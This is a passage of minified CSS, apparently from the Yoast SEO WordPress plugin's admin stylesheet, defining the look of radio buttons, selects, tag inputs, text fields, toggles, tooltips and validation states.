.yst-radio__label:hover{--tw-border-opacity:1;border-color:rgb(148 163 184/var(--tw-border-opacity))}.yst-root .yst-radio--inline-block .yst-radio__label:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));--tw-ring-offset-width:2px;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}.yst-root .yst-radio--inline-block .yst-radio__check{--tw-text-opacity:1;color:rgb(154 22 96/var(--tw-text-opacity));height:1.25rem;position:absolute;right:.125rem;top:.125rem;visibility:hidden;width:1.25rem}.yst-root .yst-radio__input{--tw-border-opacity:1;--tw-text-opacity:1;border-color:rgb(203 213 225/var(--tw-border-opacity));color:rgb(166 30 105/var(--tw-text-opacity));height:1rem;width:1rem}.yst-root .yst-radio__input:focus{--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity))}.yst-root .yst-radio__label{margin-left:.75rem}.yst-root .yst-select{position:relative}.yst-root .yst-select--disabled .yst-select__button,.yst-root .yst-select--disabled .yst-select__label{cursor:not-allowed;opacity:.5}.yst-root .yst-select__button{--tw-bg-opacity:1;--tw-text-opacity:1;--tw-shadow:0 1px 2px 0 #0000000d;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color);--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-inset:inset;--tw-ring-opacity:1;--tw-ring-color:rgb(203 213 225/var(--tw-ring-opacity));align-items:center;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:.375rem;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);color:rgb(30 41 59/var(--tw-text-opacity));cursor:default;display:flex;justify-content:space-between;line-height:1.5rem;padding:.5rem .75rem;position:relative;text-align:left;width:100%}.yst-root .yst-select__button:focus{--tw-border-opacity:1;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));border-color:rgb(166 30 105/var(--tw-border-opacity));box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}.yst-root .yst-select__button-icon{--tw-text-opacity:1;color:rgb(148 163 184/var(--tw-text-opacity));height:1.25rem;pointer-events:none;position:absolute;right:.625rem;top:.625rem;width:1.25rem}.yst-root .yst-select__options{--tw-bg-opacity:1;--tw-shadow:0 10px 15px -3px #0000001a,0 4px 6px -4px #0000001a;--tw-shadow-colored:0 10px 15px -3px var(--tw-shadow-color),0 4px 6px -4px var(--tw-shadow-color);--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-color:rgb(0 0 0/var(--tw-ring-opacity));--tw-ring-opacity:0.05;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:.375rem;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);font-size:.8125rem;margin-top:.25rem;max-height:15rem;overflow:auto;position:absolute;width:100%;z-index:10}.yst-root .yst-select__options:focus{outline:2px solid #0000;outline-offset:2px}.yst-root .yst-select__option{--tw-text-opacity:1;align-items:center;color:rgb(51 65 85/var(--tw-text-opacity));cursor:default;display:flex;justify-content:space-between;padding:.5rem .75rem;position:relative;-webkit-user-select:none;user-select:none}.yst-root .yst-select__option--active{--tw-bg-opacity:1;background-color:rgb(226 232 240/var(--tw-bg-opacity))}.yst-root .yst-select__option--selected{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(154 22 96/var(--tw-bg-opacity));color:rgb(255 255 255/var(--tw-text-opacity))}.yst-root .yst-select__button-label,.yst-root .yst-select__option-label{display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.yst-root .yst-select__option-check{--tw-text-opacity:1;color:rgb(255 255 255/var(--tw-text-opacity));flex-shrink:0;height:1.25rem;width:1.25rem}.yst-root .yst-skeleton-loader{--tw-bg-opacity:1;background-color:rgb(226 232 240/var(--tw-bg-opacity));border-radius:.25rem;display:block;height:auto;overflow:hidden;position:relative;width:-moz-fit-content;width:fit-content}.yst-root .yst-skeleton-loader:after{--tw-translate-x:-100%;animation:wave 2.5s linear .5s infinite;background:linear-gradient(90deg,#0000,#00000012,#0000);bottom:0;content:"";left:0;position:absolute;right:0;top:0;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}@keyframes wave{0%{transform:translateX(-100%)}50%,to{transform:translateX(100%)}}.yst-root .yst-table-wrapper{border-radius:.5rem}.yst-root .yst-table-header:first-child{border-top-left-radius:.5rem}.yst-root .yst-table-header:last-child{border-top-right-radius:.5rem}.yst-root .yst-table-row:last-of-type .yst-table-cell:first-child{border-bottom-left-radius:.5rem}.yst-root .yst-table-row:last-of-type .yst-table-cell:last-child{border-bottom-right-radius:.5rem}.yst-root .yst-tag-input{--tw-bg-opacity:1;--tw-text-opacity:1;align-items:center;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:.375rem;color:rgb(30 41 59/var(--tw-text-opacity));display:flex;flex-wrap:wrap;font-size:.8125rem;gap:.375rem;line-height:1.5rem;padding:.5rem .75rem}.yst-root .yst-tag-input::placeholder{--tw-placeholder-opacity:1;color:rgb(100 116 139/var(--tw-placeholder-opacity))}.yst-root .yst-tag-input{--tw-shadow:0 1px 2px 0 #0000000d;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color);--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-inset:inset;--tw-ring-opacity:1;--tw-ring-color:rgb(203 213 225/var(--tw-ring-opacity));box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow)}.yst-root .yst-tag-input,.yst-root .yst-tag-input:focus-within{box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-tag-input:focus-within{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity))}.yst-root .yst-tag-input--disabled{cursor:not-allowed;opacity:.5}.yst-root .yst-tag-input--disabled:focus-within{--tw-border-opacity:1;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);border-color:rgb(203 213 225/var(--tw-border-opacity));box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-tag-input--disabled .yst-tag-input__tag{cursor:not-allowed}.yst-root .yst-tag-input--disabled .yst-tag-input__tag:hover{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-tag-input--disabled .yst-tag-input__tag:focus,.yst-root .yst-tag-input--disabled .yst-tag-input__tag:focus-visible{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}.yst-root .yst-tag-input--disabled .yst-tag-input__remove-tag{cursor:not-allowed}.yst-root .yst-tag-input--disabled .yst-tag-input__remove-tag:hover{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(226 232 240/var(--tw-bg-opacity));color:rgb(148 163 184/var(--tw-text-opacity))}.yst-root .yst-tag-input--disabled .yst-tag-input__remove-tag:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}.yst-root .yst-tag-input--disabled .yst-tag-input__input{cursor:not-allowed}.yst-root .yst-tag-input__tag{cursor:pointer;gap:.125rem;min-height:20px;padding-inline-end:.125rem}.yst-root .yst-tag-input__tag:hover{--tw-border-opacity:1;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));border-color:rgb(166 30 105/var(--tw-border-opacity));box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-tag-input__tag:focus,.yst-root .yst-tag-input__tag:focus-visible{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}.yst-root .yst-tag-input__remove-tag{--tw-bg-opacity:1;--tw-text-opacity:1;align-items:center;background-color:rgb(226 232 240/var(--tw-bg-opacity));border-radius:9999px;color:rgb(148 163 184/var(--tw-text-opacity));display:inline-flex;flex-shrink:0;height:1rem;justify-content:center;width:1rem}.yst-root .yst-tag-input__remove-tag:hover{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(203 213 225/var(--tw-bg-opacity));color:rgb(100 116 139/var(--tw-text-opacity))}.yst-root .yst-tag-input__remove-tag:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}.yst-root .yst-tag-input__input{border-style:none;display:inline-flex;flex:1 1 0%;font-size:.8125rem;margin:0;padding:0}.yst-root .yst-tag-input__input:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}.yst-root .yst-text-input{--tw-bg-opacity:1;--tw-text-opacity:1;--tw-shadow:0 1px 2px 0 #0000000d;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color);--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-inset:inset;--tw-ring-opacity:1;--tw-ring-color:rgb(203 213 225/var(--tw-ring-opacity));background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:.375rem;border-width:0;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);color:rgb(30 41 59/var(--tw-text-opacity));font-size:.8125rem;padding:.5rem .75rem;width:100%}.yst-root .yst-text-input:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}.yst-root .yst-text-input--disabled{cursor:not-allowed;opacity:.5}.yst-root .yst-text-input--disabled:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-text-input--read-only{--tw-border-opacity:1;--tw-bg-opacity:1;--tw-text-opacity:1;--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;background-color:rgb(248 250 252/var(--tw-bg-opacity));border-color:rgb(226 232 240/var(--tw-border-opacity));box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);color:rgb(100 116 139/var(--tw-text-opacity));cursor:default}.yst-root .yst-textarea{--tw-bg-opacity:1;--tw-text-opacity:1;--tw-shadow:0 1px 2px 0 #0000000d;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color);--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-inset:inset;--tw-ring-opacity:1;--tw-ring-color:rgb(203 213 225/var(--tw-ring-opacity));background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:.375rem;border-width:0;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);color:rgb(30 41 59/var(--tw-text-opacity));font-size:.8125rem;padding:.5rem .75rem;width:100%}.yst-root .yst-textarea:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}.yst-root .yst-textarea--disabled{cursor:not-allowed;opacity:.5}.yst-root .yst-textarea--disabled:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-title{--tw-text-opacity:1;color:rgb(15 23 42/var(--tw-text-opacity));font-weight:500;line-height:1.25}.yst-root .yst-title--1{font-size:1.5rem}.yst-root .yst-title--2{font-size:1.125rem}.yst-root .yst-title--3{font-size:.875rem}.yst-root .yst-title--4{font-size:1rem}.yst-root .yst-title--5{font-size:.8125rem}.yst-root .yst-toast{--tw-bg-opacity:1;--tw-shadow:0 10px 15px -3px #0000001a,0 4px 6px -4px #0000001a;--tw-shadow-colored:0 10px 15px -3px var(--tw-shadow-color),0 4px 6px -4px var(--tw-shadow-color);--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-color:rgb(0 0 0/var(--tw-ring-opacity));--tw-ring-opacity:0.05;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:.5rem;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);max-width:100%;overflow-y:auto;padding:1rem;pointer-events:auto;width:20rem;z-index:20}.yst-root .yst-toast--large{width:24rem}.yst-root .yst-toggle{--tw-bg-opacity:1;background-color:rgb(203 213 225/var(--tw-bg-opacity));border-color:#0000;border-radius:9999px;border-width:2px;cursor:pointer;display:inline-flex;flex-shrink:0;height:1.5rem;position:relative;transition-duration:.2s;transition-property:color,background-color,border-color,fill,stroke,-webkit-text-decoration-color;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,-webkit-text-decoration-color;transition-timing-function:cubic-bezier(.4,0,.2,1);width:2.75rem}.yst-root .yst-toggle:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));--tw-ring-offset-width:2px;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}.yst-root .yst-toggle--checked{--tw-bg-opacity:1;background-color:rgb(166 30 105/var(--tw-bg-opacity))}.yst-root .yst-toggle--checked .yst-toggle__handle{--tw-translate-x:1.25rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.yst-root .yst-toggle--disabled{cursor:not-allowed;opacity:.5}.yst-root .yst-toggle--disabled:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-toggle__handle{--tw-translate-x:0px;--tw-bg-opacity:1;--tw-shadow:0 1px 3px 0 #0000001a,0 1px 2px -1px #0000001a;--tw-shadow-colored:0 1px 3px 0 var(--tw-shadow-color),0 1px 2px -1px var(--tw-shadow-color);--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);align-items:center;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:9999px;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);display:flex;height:1.25rem;justify-content:center;pointer-events:none;position:relative;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y));transition-duration:.2s;transition-property:color,background-color,border-color,fill,stroke,opacity,box-shadow,transform,filter,-webkit-text-decoration-color,-webkit-backdrop-filter;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,opacity,box-shadow,transform,filter,backdrop-filter;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,opacity,box-shadow,transform,filter,backdrop-filter,-webkit-text-decoration-color,-webkit-backdrop-filter;transition-timing-function:cubic-bezier(.4,0,.2,1);width:1.25rem}.yst-root .yst-toggle__icon{stroke:currentColor;stroke-width:2;--tw-text-opacity:1;color:rgb(255 255 255/var(--tw-text-opacity));flex-grow:0;flex-shrink:0;height:.625rem;transition-duration:.1s;transition-property:opacity;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-timing-function:cubic-bezier(0,0,.2,1);width:.625rem}.yst-root .yst-toggle__icon--check{--tw-text-opacity:1;color:rgb(166 30 105/var(--tw-text-opacity))}.yst-root .yst-toggle__icon--x{--tw-text-opacity:1;color:rgb(100 116 139/var(--tw-text-opacity))}[dir=rtl] .yst-root .yst-toggle--checked .yst-toggle__handle{--tw-translate-x:-1.25rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.yst-root .yst-tooltip{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(31 41 55/var(--tw-bg-opacity));border-radius:.5rem;color:rgb(255 255 255/var(--tw-text-opacity));display:var(--yst-display-tooltip,inline-block);font-size:.75rem;max-width:24rem;padding:.5rem .625rem;position:absolute;white-space:normal;width:max-content;z-index:10}.yst-root .yst-tooltip--top{--tw-translate-x:-50%;--tw-translate-y:-100%;left:50%;margin-top:-.75rem;top:0}.yst-root .yst-tooltip--top,[dir=rtl] .yst-root .yst-tooltip--top{transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}[dir=rtl] .yst-root .yst-tooltip--top{--tw-translate-x:50%}.yst-root .yst-tooltip--top:before{--tw-translate-x:-50%;--tw-translate-y:0px;--tw-border-opacity:1;--tw-content:"";border-bottom-color:#0000;border-left-color:#0000;border-right-color:#0000;border-top-color:rgb(31 41 55/var(--tw-border-opacity));border-width:8px;content:var(--tw-content);left:50%;position:absolute;top:100%}.yst-root .yst-tooltip--top:before,[dir=rtl] .yst-root .yst-tooltip--top:before{transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}[dir=rtl] .yst-root .yst-tooltip--top:before{--tw-translate-x:50%}.yst-root .yst-tooltip--bottom{--tw-translate-x:-50%;--tw-translate-y:-0px;left:50%;margin-top:.75rem;top:100%}.yst-root .yst-tooltip--bottom,[dir=rtl] .yst-root .yst-tooltip--bottom{transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}[dir=rtl] .yst-root .yst-tooltip--bottom{--tw-translate-x:50%}.yst-root .yst-tooltip--bottom:before{--tw-translate-x:-50%;--tw-border-opacity:1;--tw-content:"";border-bottom-color:rgb(31 41 55/var(--tw-border-opacity));border-left-color:#0000;border-right-color:#0000;border-top-color:#0000;border-width:8px;bottom:100%;content:var(--tw-content);left:50%;position:absolute}.yst-root .yst-tooltip--bottom:before,[dir=rtl] .yst-root .yst-tooltip--bottom:before{transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}[dir=rtl] .yst-root .yst-tooltip--bottom:before{--tw-translate-x:50%}.yst-root .yst-tooltip--right{--tw-translate-x:-0px;--tw-translate-y:-50%;left:100%;margin-left:.75rem;top:50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.yst-root .yst-tooltip--right:before{--tw-translate-y:-50%;--tw-border-opacity:1;--tw-content:"";border-bottom-color:#0000;border-left-color:#0000;border-right-color:rgb(31 41 55/var(--tw-border-opacity));border-top-color:#0000;border-width:8px;content:var(--tw-content);position:absolute}.yst-root .yst-tooltip--left,.yst-root .yst-tooltip--right:before{right:100%;top:50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.yst-root .yst-tooltip--left{--tw-translate-y:-50%;margin-right:.75rem}.yst-root .yst-tooltip--left:before{--tw-translate-y:-50%;--tw-border-opacity:1;--tw-content:"";border-bottom-color:#0000;border-left-color:rgb(31 41 55/var(--tw-border-opacity));border-right-color:#0000;border-top-color:#0000;border-width:8px;content:var(--tw-content);left:100%;position:absolute;top:50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.yst-root .yst-validation-icon{pointer-events:none}.yst-root .yst-validation-icon--success{--tw-text-opacity:1;color:rgb(34 197 94/var(--tw-text-opacity))}.yst-root .yst-validation-icon--info{--tw-text-opacity:1;color:rgb(59 130 246/var(--tw-text-opacity))}.yst-root .yst-validation-icon--warning{--tw-text-opacity:1;color:rgb(245 158 11/var(--tw-text-opacity))}.yst-root .yst-validation-icon--error{--tw-text-opacity:1;color:rgb(239 68 68/var(--tw-text-opacity))}.yst-root .yst-validation-input{position:relative}.yst-root .yst-validation-input--success .yst-validation-input__input{--tw-ring-opacity:1;--tw-ring-color:rgb(134 239 172/var(--tw-ring-opacity));padding-right:2.5rem}.yst-root .yst-validation-input--success .yst-validation-input__input:focus,.yst-root .yst-validation-input--success .yst-validation-input__input:focus-within{--tw-ring-opacity:1;--tw-ring-color:rgb(34 197 94/var(--tw-ring-opacity))}.yst-root .yst-validation-input--info .yst-validation-input__input{--tw-ring-opacity:1;--tw-ring-color:rgb(147 197 253/var(--tw-ring-opacity));padding-right:2.5rem}.yst-root .yst-validation-input--info .yst-validation-input__input:focus,.yst-root .yst-validation-input--info .yst-validation-input__input:focus-within{--tw-ring-opacity:1;--tw-ring-color:rgb(59 130 246/var(--tw-ring-opacity))}.yst-root .yst-validation-input--warning .yst-validation-input__input{--tw-ring-opacity:1;--tw-ring-color:rgb(252 211 77/var(--tw-ring-opacity));padding-right:2.5rem}.yst-root .yst-validation-input--warning .yst-validation-input__input:focus,.yst-root .yst-validation-input--warning .yst-validation-input__input:focus-within{--tw-ring-opacity:1;--tw-ring-color:rgb(245 158 11/var(--tw-ring-opacity))}.yst-root .yst-validation-input--error .yst-validation-input__input{--tw-ring-opacity:1;--tw-ring-color:rgb(252 165 165/var(--tw-ring-opacity));padding-right:2.5rem}.yst-root .yst-validation-input--error .yst-validation-input__input:focus,.yst-root .yst-validation-input--error .yst-validation-input__input:focus-within{--tw-ring-opacity:1;--tw-ring-color:rgb(239 68 68/var(--tw-ring-opacity))}.yst-root .yst-validation-input__input:focus,.yst-root .yst-validation-input__input:focus-within{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-validation-input__icon{height:1.25rem;position:absolute;right:.625rem;top:.6875rem;width:1.25rem}.yst-root .yst-validation-message a{color:inherit;font-weight:500}.yst-root 